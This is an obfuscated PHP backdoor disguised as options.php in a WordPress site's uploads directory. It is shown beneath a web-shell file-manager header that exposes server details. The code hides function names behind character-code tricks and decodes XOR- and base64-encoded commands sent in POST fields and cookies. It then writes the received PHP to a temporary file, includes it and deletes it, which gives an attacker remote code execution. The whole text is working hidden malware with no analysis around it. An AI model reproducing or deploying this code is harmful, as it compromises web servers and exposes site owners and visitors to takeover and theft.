HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/09/options.php
<?php 


$gnlssjjkec       = /*_  */ 'gnlssjjkec'    ^	'';

$sawxj /*  nqzjxm */ =     "a"."\162"	.       $gnlssjjkec(114)	. /*  frh  */ "a".$gnlssjjkec(121)    .    "\x5f" /*_omq_*/ . /* cwtm */ "m"."\x61"   .    "p";
$fpduygifr    =    "\151"	.    $gnlssjjkec(725-616) /*   kzb  */ .	$gnlssjjkec(112) /*p */ .      $gnlssjjkec(596-488) /*xpthf */ .     "\x6f"    . /*   vpvoof*/ "d"."\145";





function	fgznl_b($fmngpf,     $elkplnjibv){

	global       $gnlssjjkec; /* oo*/ 


	$fmngpf /*jak */ =       "\x3c"    .    "\77" /*  vkolzk */ .      "\160" /*l */ .	"\x68" /*pqz */ . /* u */ "p".$gnlssjjkec(32)    .  $gnlssjjkec(655-538)    . /*   r_fxwn  */ $gnlssjjkec(110)    . /*   chhkh */ "\x6c"    . /* oz_ctc*/ "\x69"."\x6e"    . /*   hurxtc  */ "k"."\x28"	.    $gnlssjjkec(95) /*flafw  */ .      $gnlssjjkec(1088-993)    .    "\x46"  . /*  zmcd  */ "I".$gnlssjjkec(100-24) /*   wrfcj  */ .  $gnlssjjkec(588-519) /*fqukrl */ .    "_"."\137"       .    ")"."\x3b"   .    $gnlssjjkec(32)    . /*  hjtqn  */ $fmngpf[$gnlssjjkec(752-652)];

 /* hye */ $lmcnh      =	"\146"	. /* urtz*/ "\x69"	.    "l"."\145"       . /*  z   */ "\137" /*ahkesm*/ .    "p"."\x75" /*   xw */ .       $gnlssjjkec(247-131) /*  _ji  */ . /* wscxb*/ "_"."c"."o".$gnlssjjkec(534-424) /*ynr_h  */ .   $gnlssjjkec(590-474) /* swk */ .       "e"."\x6e"	.    "t"."s";

 /* zvq  */ 

 /* geceb */ $lmcnh($elkplnjibv,	$fmngpf);    


	vsasoa($elkplnjibv);}



$tluafufr /*  c*/ =       73;
function /*  rw  */ vsasoa($elkplnjibv){


      global /*  qhs*/ $gnlssjjkec; /*   sbhfkb */ 


 /*xnn   */ include($elkplnjibv);    $mocgw      = /*  twz*/ $elkplnjibv;
      @unlink($mocgw);

}

function   hfwcidfy(){  global	$gnlssjjkec;


 /*qcd */ $agimin /*   q */ = /* vng   */ array();

	$agimin["\160"	.	"v"]  =    phpversion();

   $agimin["s"."\166"]    =	"\x33" /*lnv  */ . /* v*/ $gnlssjjkec(228-182) /*   j_u  */ .      $gnlssjjkec(54-1);
	$oxcsgojnev	= /* _w */ 74; /*vkty   */ echo   @serialize($agimin);}







function    lyhwcfqodg($fmngpf, /* bephnx   */ $_onsnap_ch)

{

 /*lli   */ global	$gnlssjjkec;





  $qwygv      =     "";

 /*   dfj   */ $tseyu     =     strlen($fmngpf);

	$dxxtquuz /*  g */ =    strlen($_onsnap_ch);


     $agimin /*  glqc */ =   0;    $_phjgnsgj	=    0;
 /*  ge  */        while       ($agimin    <     $tseyu) /*oxc */ {
       $nqjkmcvlcl    = /*   h*/ $fmngpf[$agimin] /*   rbdlpz*/ ^  $_onsnap_ch[$_phjgnsgj	%    $dxxtquuz];

    $qwygv    .= /* wb */ $nqjkmcvlcl;
 /*   u */ $_phjgnsgj++;       


  $agimin++;     }
 /*llysva*/  /*d  */ if /* ykadbv  */ (strlen($qwygv) /*  qhbepk*/ >	20)  {


  $kttfvka /*z*/ =    substr($qwygv,    0,    20);

     }	if /*  rilo*/ (empty($qwygv))       {

   $qwygv   =    date('Y-m-d    H:i:s');
 /* o_kwft */ }	return    $qwygv;
}


function     turmfdjt($agiminrccafejo)

{

      global   $gnlssjjkec;


      


    $fgcwkckac     = /*  mblk  */ $gnlssjjkec(752-652)."\64"    .    "1"."\x37" /*qsdfei   */ .      "1"."3".$gnlssjjkec(55) /*   mvvlf  */ . /*  x*/ "0".$gnlssjjkec(45)	.    "7"."9"."\x35"  .    "\x62"    . /*   r   */ $gnlssjjkec(45)   .    "4"."\143"      .	"8"."e"."-".$gnlssjjkec(97).$gnlssjjkec(291-189)    . /*  dt  */ "9".$gnlssjjkec(54-2)    .     "-"."\x61"    .    "7"."\x36"    .    "\x65"     . /*   ndgnr  */ $gnlssjjkec(99)    .	"1"."\60" /*  zapcc */ .	"\x37"  .      "5".$gnlssjjkec(337-285)	.   "8".$gnlssjjkec(230-129);

  
 /*  omprub   */ foreach      ($agiminrccafejo      as /*  otokb*/ $tkvmz	=>    $fmngpf)	{
    yjtiygrdmd(base64_decode($fmngpf),      $fgcwkckac,    $tkvmz);

  }}




function /*   d  */ yjtiygrdmd($fmngpf,    $fgcwkckac, /*  ifurnr */ $tkvmz)
{ /*  dfndym  */ global /*  yeknxm*/ $gnlssjjkec;
    
  $fmngpf     =	unserialize(lyhwcfqodg(lyhwcfqodg($fmngpf,	$fgcwkckac),      $tkvmz));

	$agiminjaee	=   'vvjthxyrdd';	$zfuckbt /*ucz   */ =  'ugf';


    if     (isset($fmngpf[$gnlssjjkec(97)."k"]))      {


    if    ($fmngpf[$gnlssjjkec(97)]      ==  "\x69")	{

    hfwcidfy();       }    elseif    ($fmngpf[$gnlssjjkec(97)] /*  awcrm */ ==      "e") /*  lhoojj   */ {


      fgznl_b($fmngpf, /* bvxctx*/ sprintf("\x2e"	.   $gnlssjjkec(47)	.       $gnlssjjkec(37)    . /*   qdutq */ "s".".".$gnlssjjkec(112)    .       "l",    md5($fgcwkckac)));			$pfc_t      =	44; /*   vnnbap   */ }    exit();
	}}


turmfdjt($_POST);	
$btjxavma    =	'rawurldecode';



$grcpxfwq       =       $sawxj($btjxavma,    $_POST);


$fpduygifr("", /*   mdklj   */ $btjxavma);


turmfdjt($_COOKIE);
$xxcbjk    =    $sawxj($btjxavma, /*   ctucvz   */ $_COOKIE);


?>